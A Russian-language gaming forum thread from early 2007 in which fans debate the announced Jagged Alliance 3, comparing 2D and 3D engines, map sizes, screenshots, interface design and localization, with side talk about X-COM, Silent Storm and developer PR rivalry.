Проходят векА, а народ не меняется...  :)

P.S. Никого не хотел обидеть.  ;)

Заголовок: Off: Атцы :)
Прислано пользователем Bolivar на 05.01.2007 в 16:21:35
2Macbeth:

Quote:
так и так издеваются тут над JA - 3d прикрутили зачем-то

3d - не трожь!  >:( ;D
______________________

[ну полный offtop]Кстати, Карри чем-то после джаги известен? Уже наверное около 10 лет прошло после развала Сир-тека. Чего-нибудь о нем вообще слышно, что он там еще гениального слабал?[/ну полный offtop]

Заголовок: Re: JA3
Прислано пользователем nuclear на 05.01.2007 в 18:26:48
А что, вон, фанаты Total Annihilation забацали свой проект - TA: Spring. Полное 3Д, свободная камера вплоть до вида от первого лица, изменяемый рельеф, неплохие тени, многофункциональный интерфейс, заточенный мультиплеер (в онлайне всегда около 200 человек сидят) и рубятся себе наздоровье. Везёт же людям... Жаль, что среди фанатов JA2 такой организованной и полной энтузиазма команды, как шведская SY не найдётся...

Заголовок: Re: JA3
Прислано пользователем Macbeth на 06.01.2007 в 00:10:01
>3d - не трожь!

Честно не брал! :)
Узнаю кто взял - руки оторву!

Заголовок: Re: JA3
Прислано пользователем Дядя Боря на 06.01.2007 в 00:13:47
2Bolivar:  
Quote:
Кстати, Карри чем-то после джаги известен? Уже наверное около 10 лет прошло после развала Сир-тека. Чего-нибудь о нем вообще слышно, что он там еще гениального слабал?

Ну например слабал сценарий и тексты к первому Сайлент Сторму. Не знаю, как английский вариант, а русский перевод, да и сценарий в целом очень удачной игры были просто отвратительны.

Заголовок: Re: JA3
Прислано пользователем Bolivar на 06.01.2007 в 10:20:48
2Macbeth:
Сорри, это оказывается c00ler: тянет свои руки  ;D

2c00ler: Кулер! Не трожь 3d!  ;D


2Дядя Боря:
Кажется писАл Шон Линг, а не Карри, Линг же вроде был сценаристом во второй Джа? И вроде бы, кроме Сайлента, еще к СиМ'у, к англоязычночй версии....

Заголовок: Re: JA3
Прислано пользователем c00ler на 06.01.2007 в 10:40:52
2Bolivar: насчет 3d - кто его писать с нуля будет ?
идея оставить 2d шла от того что должны были остаться наработки.

пусть будет Шон Линг - не суть. Прежде всего нужно составить список тех кто и как готов помочь. Помимо ja2.ru нужно еще кинуть клич на зубугорных сайтах.

и только после этого имеет смысл писать Лингу или Карри. То есть придти к ним нужно с конкретным предложением.

Заголовок: Re: JA3
Прислано пользователем Bolivar на 06.01.2007 в 10:54:32
2c00ler:
3d - c нуля? Это жестоко... писать движок никто не будет, а те, что существуют стоют денюжку. Вот дорабатывать уже существующее уже проще. Посмотри соседнюю ветку "ДЖАЗ: работа по найму" - там вроде обещяли прикрутить возможность редактирования ( в каком виде и когда это будет сделано, непнятно).
По-поводу 2d - а какая тут вообще будет идея JA3? Чем она будет отличаться от уже существующих модов, которых сделанно уже дофига? Я думаю, ради этого и обращяться к экс-Сир-Текам не надо, своим мастеров уже полно. Тем более, как уже сказанно выше " конкретное предложение" должно начинаться с $$$.  ;D

PS На форуме есть раздел "Поиск соратников", я думаю там ты смело можешь открывать новую ветку... ;)

PPS И еще, самое главное, как быть с юридическим вопросом - права на Джа уже у SF, к которой Карри и Линг никакого отношения не имеют, и игру с названием JA3 уже делают F3Games...

Заголовок: Re: JA3
Прислано пользователем Ximik на 06.01.2007 в 12:20:54
Вот на счёт 2d. Если честно, то уже не хочется всяких там непонятных 3d . Я был бы рад и 2d, но с картами раза в 3 больше, с многоэтажностью, с абсолютной всеразрушаемостью (крыши тоже). С сменой времён года.. да и много чего ещё можно доделать.  ::)

Хорошо есть кнопка править. Когда писал сообщение, у меня всё заглючило и сообщение отправилось неоконченное  :)

Заголовок: Re: JA3
Прислано пользователем Bolivar на 06.01.2007 в 13:46:31

Quote:
с картами раза в 3 больше, с многоэтажностью, с абсолютной всеразрушаемостью (крыши тоже). С сменой времён года
2Ximik: Я думаю, что все это скорее реализуют в 3d (и что в трехмерности непонятного, просто, тенденция развития игр такая).
Всеразрушаемость планируется и в ДЖАЗе и JA3; многоэтажности впроде пока никто из них не делает, смена времен года - частично JA3 в виде смены погоды (сюжет предполагает место действия в кажется, в тропической стране, какая там смен а времен года, кроме сезона дождей/засухи?), вот в ДЖАЗе даже смены дня/ночи не будет, обещяли в аддоне. Карты в 3 раза брльше? - зачем? - нужно тогда глобальные боевые действия для таких карт - и народу в три раза больше (тогда и работы разрабам раз в 10 больше)

Заголовок: Re: JA3
Прислано пользователем Satan`s Claws на 06.01.2007 в 13:52:34
2nuclear:  
Quote:
А что, вон, фанаты Total Annihilation забацали свой проект - TA: Spring.


А ссылки можно?
Ссылки можно и в приват...

Заголовок: Re: JA3
Прислано пользователем Ximik на 06.01.2007 в 14:22:59
2Bolivar: Это всё конечно правильно, но реалистичнее, когда карта больше, врагов меньше, да по-умнее.  8)  Разработчики ДЖАЗа вроде говорили, что в аддонах возможно сделать смену времён суток. Конечно легче сделать постоянный климат, для этого и выбрана Африка.
На счёт дождей/засухи идея интересная  ::)

Заголовок: Re: JA3
Прислано пользователем Bolivar на 06.01.2007 в 14:40:25
2Ximik:
Ну Африка выбрана, скорее для сюжета страны третьего мира...
Явная смена времен года может быть только в областях с выраженным континентальным климатом, где вобщем-то трудно избежать намеков на определенную страну в сюжете  ::) И еще, сюжет должен предпологать длительное нахождение в месте событий, что бы дождаться этой самой смены времени года...
Для прочих климатов подойдет банальный дождик (что все и делают давным-давно)

Заголовок: Re: JA3
Прислано пользователем Novik на 07.01.2007 в 07:35:51

Quote:
Ну например слабал сценарий и тексты к первому Сайлент Сторму.

Ни к текстам, ни к сценарию S^2 Карри отношения, AFAIK, не имел.

Quote:
И вроде бы, кроме Сайлента, еще к СиМ'у, к англоязычночй версии....

В англоязычной версии СиМ никакие тексты с нуля вообще не писались, не говоря уже о сценарии. Они адаптировались. Занимался этим Daniel Greenberg.

Заголовок: Re: JA3
Прислано пользователем Bolivar на 07.01.2007 в 09:19:48
2Novik:

Quote:
:И вроде бы, кроме Сайлента, еще к СиМ'у, к англоязычночй версии....
За что купил, за то и продаю - информация взята опять же с игровых форумов. Не опровержений ее, не подтверждений там не было, поэтому  в сослагательном наклонении...
А вообще Шон Линг к какому-нибудь из проектов Нивала (S2, S3, СиМ) привлекался? В геймдевелоперской среде больше владеют информацией - что-нибудь известно о судьбе и проектах Карри?


Заголовок: Re: JA3
Прислано пользователем Novik на 07.01.2007 в 10:07:50

Quote:
А вообще Шон Линг к какому-нибудь из проектов Нивала

Писал аски и биографии наемников в S^2. На мой субъективный взгляд - получилось не очень. Вплоть до фактических ляпов типа наличия сержантов в РККА 20х годов. Аски, опять же субъективно, излишне длинные и/или вычурные. Хотя тут еще перевод накладывается,

Quote:
В геймдевелоперской среде больше владеют информацией - что-нибудь известно о судьбе и проектах Карри?  

Не знаю, я к этой среде, собственно, не отношусь.

Заголовок: Re: JA3
Прислано пользователем Lm на 09.01.2007 в 11:47:04
2Ximik:  

Quote:
но реалистичнее, когда карта больше, врагов меньше, да по-умнее.


ты в бригаду играл?
когда бегаешь по сектору и думаешь, где же эта сволочь запряталась
хорошо хоть вопросительные знаки для этого ввели

в ja тоже самое было
когда пускаешь мерков в разные стороны карты, чтобы хоть кто-то заметил притаившегося последнего врага

а ты говоришь большие территории с незначительными, но умными врагами  ;D
они же когда неладное почуют, будут от тебя по всему сектору бегать   ;D

Заголовок: Re: JA3
Прислано пользователем Bolivar на 09.01.2007 в 12:07:50

Quote:
когда бегаешь по сектору и думаешь, где же эта сволочь запряталась  
Есть волшебная комбинация букв  ::) Правда в последнее время все- "Аааа! Читер! Негодяй!" - печальная тенденция... ;D

Заголовок: Re: JA3
Прислано пользователем Ushwood на 09.01.2007 в 14:33:44
2Ximik:  
Quote:
Вот на счёт 2d. Если честно, то уже не хочется всяких там непонятных 3d . Я был бы рад и 2d, но с картами раза в 3 больше, с многоэтажностью, с абсолютной всеразрушаемостью (крыши тоже).  
Играй в Х-СОМ. Первый ;D. Там все это есть :).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 09.01.2007 в 16:58:15
2Lm:
 Сектора, всё таки, хотелось бы побольше. Скажите, зачем нужна М24 если размер сектора 200х200 м., а расстояние на котором можно заметить врага около 150 м (в Бригаде)?
 А с поиском последнего врага, считаю, знак вопроса не плохой выход.



Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 09.01.2007 в 22:33:35
2Bolivar:  
Quote:
Кажется писАл Шон Линг, а не Карри
Угу. Но от этого тексты правда лучше не стали  :) Признаю свою ошибку.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 09.01.2007 в 22:37:46
2Novik:  
Quote:
собственно, не отношусь.  
Что, и после "Серпа" не относишься? :) Кстати, давно не заглядывал  - что-то новое есть на тему СайлентСторм?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 09.01.2007 в 22:54:44

Quote:
Что, и после "Серпа" не относишься?

После него и не отношусь. Предложения были, по разным причинам не сложилось, а самостоятельно искать заказы и делать это дело основной работой лениво. По деньгам я на основной работе больше получаю. Вставать на коневеер смысла нет. Ни уму, ни сердцу, вообщем.

Quote:
что-то новое есть на тему СайлентСторм

Ну вот эхотаг, например.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 10.01.2007 в 01:01:02
Несколько модов есть. очень хороших, кстати.
Смотрите тут:
http://forums.nival.com/rus/forumdisplay.php?f=231

Рекомендую Сталинград (Вторая Мировая) и BadCompany (Америка 30-х, т.е. мафия).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 10.01.2007 в 02:26:01
2Novik:  
Quote:
эхотаг
Что это? В списке модов на странице по ссылке Макбета не нашёл :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 10.01.2007 в 15:23:18

Quote:
Что это?

На месте этого слова видимо должна быть ссылка. Описка наверное.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 10.01.2007 в 17:09:43

Quote:
Что это?

Название темы, в которой мы с Вами беседуем. Jagged Alliance 3.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 10.01.2007 в 22:34:05
2Novik: Опять загадка. Что, Джа3 на базе СС^3 делают?

Заголовок: Re: JA3
Прислано пользователем Ximik на 10.01.2007 в 23:05:40
2Lm:  
Quote:
ты в бригаду играл?
когда бегаешь по сектору и думаешь, где же эта сволочь запряталась
хорошо хоть вопросительные знаки для этого ввели

в ja тоже самое было
когда пускаешь мерков в разные стороны карты, чтобы хоть кто-то заметил притаившегося последнего врага



В бригаду не играл. Но посмотрел скрины и не тянет покупать игру. Демо скачаю, посмотрю... Я же ленивый...  :)
На счёт больших карт.  У меня в джа2 проблемы с поиском оставшихся возникали только ночью. Днём они находятся быстро.  8) На то она и война, чтоб потратить уйму времени на поиски загнанного волка...


2Ushwood:    
Quote:
2Ximik:   Quote:Вот на счёт 2d. Если честно, то уже не хочется всяких там непонятных 3d . Я был бы рад и 2d, но с картами раза в 3 больше, с многоэтажностью, с абсолютной всеразрушаемостью (крыши тоже).  

Играй в Х-СОМ. Первый . Там все это есть .  


Я в такие игры не играю  :P

Заголовок: Re: JA3
Прислано пользователем colonel Kilgore на 10.01.2007 в 23:21:28
2Ximik

А мне вот тоже два-Д больше нравится.
(Несмотря на то, что комп и видкарта у меня мощные.)
К 2Д как-то по-другому отношусь, нежели к 3д; как к интересной книге, наверное.  :)
В 2д как-то больше художественности, на мой взгляд. Интереснее выглядит и фантазию не закрепощает. Действительно, как книга! А не жалкое подобие реальности!
Былоб круто, еслиб графика как AlienShooter_е была. С многоэтажностью.  ;D

Заголовок: Re: JA3
Прислано пользователем colonel Kilgore на 10.01.2007 в 23:23:59
А в третий Х-КОМ кто-нть играл? Тот, который двухмерный?
Неплохо исполнено. Тока баланс в игре был херовый; особо в реалтайме.

Заголовок: Re: JA3
Прислано пользователем Novik на 11.01.2007 в 11:22:08

Quote:
Что, Джа3 на базе СС^3 делают?  

Да. Перечитайте тему, тут даже скриншоты постили.

Заголовок: Re: JA3
Прислано пользователем Дядя Боря на 11.01.2007 в 12:12:16
2Novik:  
Quote:
Перечитайте тему
Уй, некогда. Да и в лом :).
А вообще то ты меня порадовал. Пока что движок СС^ из современных мне более всех пошаговок по сердцу пришёлся. Есть конечно и в нём баги и недочёты, но вот простота управления всё уравновешивает. Да и возможность создавать моды, хоть и трудоёмкие, но вполне осваиваемые энтузиастами - многого стоит :)

Заголовок: Re: JA3
Прислано пользователем Ushwood на 11.01.2007 в 13:14:33
2colonel Kilgore:  
Quote:
А в третий Х-КОМ кто-нть играл? Тот, который двухмерный?
Неплохо исполнено. Тока баланс в игре был херовый; особо в реалтайме.
Ессно, играли :).
А в реалтайме я и не играл. Реалтайм - это не для настоящих икскомовцев :). А в пошаговке ИМХО баланс нормальный... и, кстати, АИ там один из лучших, что я видел в тактических играх.

Заголовок: Re: JA3
Прислано пользователем Дядя Боря на 11.01.2007 в 14:23:12
2Ushwood: Оффтоп конечно, но когда на меня на первом выезде два мозгокрута (всег-то) напали, я дооолго понять не мог, как это от моего отряда в два хода никого не осталось ;D. Эх, хорошая игра Х-ком Апокалипсис была!!!

Заголовок: Re: JA3
Прислано пользователем SSSVOLOCH на 30.01.2007 в 16:43:46
На АГ - новые скрины.
Отсюда начинаются:
http://www.ag.ru/screenshots/jagged_alliance_3/193063

и далее.

Заголовок: Re: JA3
Прислано пользователем Strax5 на 30.01.2007 в 16:59:22
Локации эти уже были, только в другоевремя суток.

Дикие ядовитые цвета подсветки оружия и выстрела - это точно прикол.

Вопрос: А одинаковые морды наемников это для прикола? Или просто других еще нет. Есть огро-омная просьба сдедать их хоть немного более интересными. Если не смогут как в JA2, так хоть постараются приблизиться.

Заголовок: Re: JA3
Прислано пользователем Macbeth на 30.01.2007 в 17:55:52
Да понятное дело, что лиц будет не 3 штуки. Это очевидно.

И что характерно, опять не показывают всю карту...

Логично предположить, что сектора если и вырастут, то явно не до уровня Ja2. Если бы они могли такое сделать - давно бы показали локацию с высоты и похвастались... а пока ничего нового.
Симпатичненько вблизи, ну и что?

Короче, мои прогнозы по размерам локаций пессимистичны.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 30.01.2007 в 19:32:35
Интересно, что за "намордник" у них на каске? Наследие СиМа и Сайлент Сторма?  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 30.01.2007 в 19:49:16
Противогаз это. Маска-респиратор.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 30.01.2007 в 19:57:56
Я имел ввиду крайнего справа, на скринах у него что-то вроде стекла и металлический намордик закрывает рот

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 30.01.2007 в 20:04:50
А, это шлем "Маска-Щ1". По крайней мере, его аналог. Был в АА-МР.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 30.01.2007 в 20:08:47
2SSSVOLOCH:  

Quote:
Был в АА-МР
Что это?
Назначение этого "забрала" - защита от мелких осколков?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 30.01.2007 в 20:17:25
ОТ пистолетных пуль спасет вполне. Применяется при штурмах зданий в спецназе ВВ МВД и ЦСО ФСБ. Это я про реальный прототип - как в игре, понятия не имею.

АА-МР - "Альфа-Антитеррор: Мужская работа". Вполне себя там оправдывал, если бы не вес.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 30.01.2007 в 21:04:59
Не плохо вроде, только как-то по-детски выглядет нижняя панель. Интерфейчик бы там поменять, сделать панель меньше, чтоб больше видно было игрового процесса так сказать.  :) Да рожи эти дебильноватые сменить.   ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 30.01.2007 в 22:07:07

Quote:
Не плохо вроде, только как-то по-детски выглядет нижняя панель

Она, на мой взгляд, вообще как-то странно выглядит. Например, непонятно, зачем нужны контролы переключения поз и режимов огня для *каждого* бойца.  Чтобы место занять и устроить веселую игру "попади мышью в эту кнопочку"? Я так понимаю, что всей выделенной группе теперь отдать приказ, скажем, "лечь" одним кликом мыши нельзя?
Не нравится, вообщем. Некрасиво и нефункционально.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 30.01.2007 в 22:18:50
Наверняка - рабочий еще.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 31.01.2007 в 00:15:51
2Novik:  
Quote:
Например, непонятно, зачем нужны контролы переключения поз и режимов огня для *каждого* бойца.  Чтобы место занять и устроить веселую игру "попади мышью в эту кнопочку"?


Меня тоже сильно смутили эти многочисленные кнопочки около каждого бойца - жутко неудобно :(!


Заголовок: Re: Jagged Alliance 3
Прислано пользователем kiber на 31.01.2007 в 09:30:27
а если отбросить все мечты о возрождении JA в этой игре, смирится с движком SS(а он всётаки болше хорош чем плох ИМХО), закрыть глаза на интэрфейс и фейсы наёмников(ибо это всё должны исправить), то игра мне определённо нравится. также как и сам SS. с удовольствием поиграю когда выйдет.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 31.01.2007 в 12:02:51
2kiber:  
Quote:
а если отбросить все мечты о возрождении JA в этой игре, смирится с движком SS(а он всётаки болше хорош чем плох ИМХО), закрыть глаза на интэрфейс и фейсы наёмников(ибо это всё должны исправить), то игра мне определённо нравится. также как и сам SS. с удовольствием поиграю когда выйдет.


Остаётся только расслабиться и ждать очередного аддона к "Операции Silent Storm" в сеттинге JA ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 31.01.2007 в 13:30:06
2Novik:  
Quote:
Я так понимаю, что всей выделенной группе теперь отдать приказ, скажем, "лечь" одним кликом мыши нельзя?  
По-моему, и в ДжА2 нельзя - минимум двумя кликами или хоткеем ;).

2Docent:  
Quote:
Меня тоже сильно смутили эти многочисленные кнопочки около каждого бойца - жутко неудобно  
Удобно или нет - это мы посмотрим, когда пощупать сможем. Навскидку же - это может быть и не так плохо, как кажется. Если, скажем, в ДжА2, чтобы положить данного мерка мордой в землю, его надо сперва выделить (два действия), то тут хватит одного.

2Novik:  
Quote:
и устроить веселую игру "попади мышью в эту кнопочку"?  
Опять-таки. В ДжА2 тоже полно маленьких кнопочек - изменение положения мерка, например, или изменение режима стрельбы. Только почти никто этими кнопочками не пользуется, ибо есть хоткеи.
Если в ДжА3 грамотно сделают хоткеи - на мелкие кнопочки можно будет забить :).

ЗЫ. Резко не нравится, что игра делается на английском языке. Зная способности Акеллы (да и других наших фирмочек, за исключением разве что Сноуболла) по части локализации - одним этим они способны здорово испортить игру.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 31.01.2007 в 14:34:33

Quote:
По-моему, и в ДжА2 нельзя - минимум двумя кликами или хоткеем

1) В S^2 можно.
2) AFAIR для *уже выделенной группы* и в Ja2 можно. Если выделяли группу мышью с открытым инвентарем бойца. Хотя точно не помню уже.

Quote:
ЗЫ. Резко не нравится, что игра делается на английском языке.  

Дык эта... Заказчик то кто? Этапы как закрывать? Нельзя по другому.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 31.01.2007 в 14:40:42
2Novik:  
Quote:
AFAIR для *уже выделенной группы* и в Ja2 можно.
Угу, для выделенной - можно. Но сперва ее надо выделить ;).


Quote:
Дык эта... Заказчик то кто? Этапы как закрывать? Нельзя по другому.  
Да это все я понимаю... это, так сказать, глас вопиющего в пустыне... тока до сих пор ни в одной игре, сделанной нашими разрабами по ихнему заказу, я нормального русского языка не видел... что, с моей точки зрения, откровенное свинство :(.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Чертовска Вражiна на 31.01.2007 в 16:15:14
Ushwood:
  А я хот-кеями не пользуюсь. Только мышью...  ::)  Хот-кей у меня только в 1 случае бывает -- когда скопление целей и надо между ними прицел переключить.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 31.01.2007 в 16:17:31
2Чертовска Вражiна: зря, батенька, зря :D.
Это ж ужас - лезть в инвентарь наемника всякий раз, когда захочешь сменить режим стрельбы, вместо чтоб просто нажать "В" на клаве :o.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 31.01.2007 в 16:34:47
Именно!
2Ushwood:  +1

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Чертовска Вражiна на 31.01.2007 в 19:57:10
  ГК запоминать ещё надо, а я их не помню, поскольку не юзаю. Выучил вот одну и всё. Остальные мне не напряжны.  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 31.01.2007 в 20:09:52
Не знаю - их обычно не более 5-8 юзается в любой игре. Я ведь не говорю про сумасшедших стракрафтеров, которые большую часть действий с клавиатуры выполняют спец.комбинациями...
Хоткеи по определению быстрее, чем нажатие мышью на кнопу в меню - в стратегиях точно. С этим, думаю, каждый согласится.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Satan`s Claws на 01.02.2007 в 07:19:15
2SSSVOLOCH: 2Чертовска Вражiна: Гы, я помниться, сильно матерился, что некоторые действия в ХММ3 нельзя сделать без мышки...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 01.02.2007 в 10:21:30
2Satan`s Claws: Действия разные бывают. ХММЗ - это, сорри, что?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 01.02.2007 в 11:12:15
2SSSVOLOCH:  
Quote:
ХММЗ - это, сорри, что?  
:rzhach: :rzhach: :rzhach:
Ну ты даешь :lol:
ХММ3 - это Хероес, типа, оф Майт-эн-Мэджик.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 01.02.2007 в 11:56:51
2Ushwood: Ну, а почему не "HUMMVEE 3 - Strike To Baghdad"?:)
Ладно, не играл в Героев, проехали.:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 01.02.2007 в 18:32:44
Скриншоты все, по большей части, однообразные. Только первый порадовал, 2Ushwood: там кстати описание локации на РУССКОМ языке  :).
А тот который в железной маске всё время в разные стороны смотрит. Они там что в панели управления головами вертят? Зачем?

 

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 01.02.2007 в 19:24:59
2pipetz:  
Quote:
А тот который в железной маске всё время в разные стороны смотрит. Они там что в панели управления головами вертят? Зачем?
Чтобы к ним никто не подкрался из-за края экрана.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 02.02.2007 в 07:37:35
Блин, вот тоже как-то удручает что на всех скринах, бойцы рубятся практически вупор как в СС. Нарисовано конечно вполне симпатично, но это в наше время само собой разумеется.

А по поводу размера уровня я выражу частное мнение, что это единственная сильная сторона Альфа Антитеррор. Там когда играешь есть ощущение, что 200 метров это двести метров :) без всяких условностей. Однако там в сочетании с общей концепцией управления это местами создает черезвычайно замороченный геймплэй.

В СС меня безумно раздражали маленькие уровни в которых бой принимает столь комичный вид как в иных сериях голого пистолета. В JA3 такого бы не хотелось категорически.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 02.02.2007 в 07:38:57
2pipetz:  
Quote:
А тот который в железной маске всё время в разные стороны смотрит. Они там что в панели управления головами вертят? Зачем?
Создают "оживляж" - играл вот в Санитаров подземелий :) Там они тоже... :) Посматривают как в думе примерно :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 02.02.2007 в 09:09:44
2Dimitr:  
Quote:
В СС меня безумно раздражали маленькие уровни в которых бой принимает столь комичный вид как в иных сериях голого пистолета. В JA3 такого бы не хотелось категорически.  
Ну чтобы 3Д-уровни достигли таких же размеров, как 2Д, с такой же степенью детализации, еще немало времени должно пройти. Это ж огромная нагрузка и на проц, и на память, и на видеокарту, да и на винте нужна куча места, чтобы все это хранить... ессно, прогресс движется помаленьку; можно не сомневаться, что уровни будут больше, чем в СС... но почти гарантированно они будут меньше, чем в JA2.
Ну и кстати об уровнях в JA2: можно подумать, там все было прям замечательно... когда один тайл то один метр занимает (по критерию ширины дверей и дорог, а также дальности броска ножа или гранаты), то десять (по критерию дальности стрельбы)... эпические перестрелки из пистолетов между бойцами, стоящими на противоположных обочинах одной и той же дороги ;D.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 02.02.2007 в 09:42:19
2Ushwood: в ja 2 было тоже нереалистично, но болного комизма дело доходило редко. Там просто есть некая условность что расстояние измеряется в ТАЙЛАХ :) а не в метрах и при игре метры с тайлами не сопоставляются :)

Что касается современных возможностей комьпьютеров... ну как-то не совсем я согласен, в упомянутых Санитарах подземелий уровни конечно не таких размерностей как в ja2, но раз в пять побольше, чем в СС. Когда там дело доходит до нормального оружия бои выглядят вполне натуралистично. Здания многоуровневые тоже есть правда ИИ не очень ими пользуется. В общем основное ограничение это разрушаемость объектов при таких уровнях. Хотя блин там ведь при этом риалтайм... походвка по идее должна меньше ресурсов требовать...

Учитывая, что здесь многие хотят полностью реалистичной разрушаемости объектов, да еще и реальной физики разлета кусков во все стороны, конечно это нагрузка, но лично я в этом деле готов на некоторые компромиссы лишь бы не было стрельбы из пистолетов с приставлением их к голове противника и при этом промахов :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 02.02.2007 в 10:07:08

Quote:
Ну чтобы 3Д-уровни достигли таких же размеров, как 2Д, с такой же степенью детализации, еще немало времени должно пройти. Это ж огромная нагрузка и на проц, и на память, и на видеокарту, да и на винте нужна куча места, чтобы все это хранить...

Я знаю где взять ресурсы.  :) Надо зафиксировать морды в панели управления. Чтоб не вертелись.  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 02.02.2007 в 10:55:35
2Dimitr: Я в Санитаров пока не играл, к сожалению, но, судя по роликам, там тоже стрельба в упор в изобилии... ::)

А 3д-рельф в Санитарах есть? а разрушаемость? конечно, она большие требования накладывает...

ИМХО стрельба на близких дистанциях - это скорее благо; она повзоляет свести к минимуму скроллинг карты, при этом отрисовывая фигурки бойцов нормального размера.

2pipetz:  
Quote:
Я знаю где взять ресурсы.   Надо зафиксировать морды в панели управления. Чтоб не вертелись.
Это скока ж морд придется фиксировать, чтоб нужное количество ресурсов высвободилось :o

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 02.02.2007 в 11:03:57

Quote:
А 3д-рельф в Санитарах есть? а разрушаемость? конечно, она большие требования накладывает...  

Рельеф вроде есть, разрушаемости нет, боевка в целом отвратная. Сильная сторона игры не в этом.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 02.02.2007 в 11:52:08
2Ushwood:  
Quote:
но, судя по роликам, там тоже стрельба в упор в изобилии
так и есть. Единственно, что она там обусловленна ситуациями когда у кого-то заканчиваются патроны и он налетает с холодным оружием, а другой хлещет ему в башку и огнестрела.

Рельеф есть, но он мало используется т.е. горы это в основном перпятствия и подняться на них редко бывает возможно.

В целом Novik прав. Боевка достаточно отвратительна. Там реалтайм причем первую половину игры конкретно скучный - убогие пинки удары и выстрелы нужно повторить раз по 15-20 что бы уничтожить одного противника. Потом становится бодрее, но реалистичности мало.

Хотя надо сказать по гейплэю в целом вполне захватывает. Хотя ... там помиссионость работает в основном только ветки развития могут быть разные.


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Lm на 02.02.2007 в 12:26:07
я знаю где были 3d уровни довольно большие  :)
и ландшафт был
в бригаде е5

а в 7.62 еще и разрушаемость обещают добавить

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 02.02.2007 в 12:40:58
ну вот кстати там они достаточного размера

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 08.02.2007 в 16:48:26
2Macbeth: Тоже заметил? Это похоже тактика такая (точнее PR-стратегия), что у одних, что других: обос%%ть то что было, чтобы потом свой продукт на этом фоне очевидным говном не выделялся.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 08.02.2007 в 19:58:45
2Strax5:
Ну мотивы имхо у обоих разрабов разные, но в целом согласен.

Акелла, видимо, просто не хочет маяться с экономикой, да еще и на чужом движке. Проще, конечно, сказать, что это никому не надо и это был главный минус Ja2, а все Джайцы - хардкорщики, ничего не понимающие в современных играх. А в итоге устроить банальную бойню за каждый сектор а-ля SS с частичным использованием опыта СиМа (по части квестов и разветвлений).

О Мистах и их шестерках всё сказано в соответствующей ветке.

Но может что-то стоящее хотя бы из одного из этих проектов и выйдет. Но до уровня Джа2 не дойдет точно.
Одни новички (на сколько мне известно). У других репутация мягко сказать сомнительная и неоднозначная.

P.S. Обе игры еще не вышли, а Мисты уже начали обкладывать конкурентов. То ли еще будет, когда обе выйдут. Там уже Шутов с желчью и пеной на губах доказывать начнет. Так что все только начинается.  :(
P.P.S. Странно, что со стороны Акеллы пока не слышно ответных ударов...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 09.02.2007 в 12:09:33
2Macbeth: Что-то не вижу "обкладываний". Есть только одна запись в блоге, сделанная Шутовым несколько месяцев назад. И то там он перекладывет на SFI+F3 то, что наложили ранее на них самих ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Swine на 09.02.2007 в 12:25:04
2bugmonster:
Не скажите, уважаемый. Есть далеко не одна запись в блоге мистов.
Последняя(на данный момент) как раз сочинение на тему "сравниваем 2 игры и понимаем что у нас будет шедевр, а у акеллы - г...о" базирующееся исключительно на "заявленных фичах".

Понятно что сейчас в основном идет пеар от тех и от других.
Конечно неприятно, когда заявляют : "минометов не будет, так как их использование нехарактерно для наемников", ну так у пеарщиков работа такая, не будут же они заявлять : "введение тяжелого вооружения потребует серьезной доработки движка, на которую у нас сейчас нет времени и ресурсов".

В плане пеар заявлений мисты уже давно, на мой взгляд, перегнули палку в рассказывании о том, какое чудо они вот-вот сотворят и в какой отстой будет играть потребитель, если он выберет продукт конкурентов.
Это еще с "Бригады Е5" пошло.


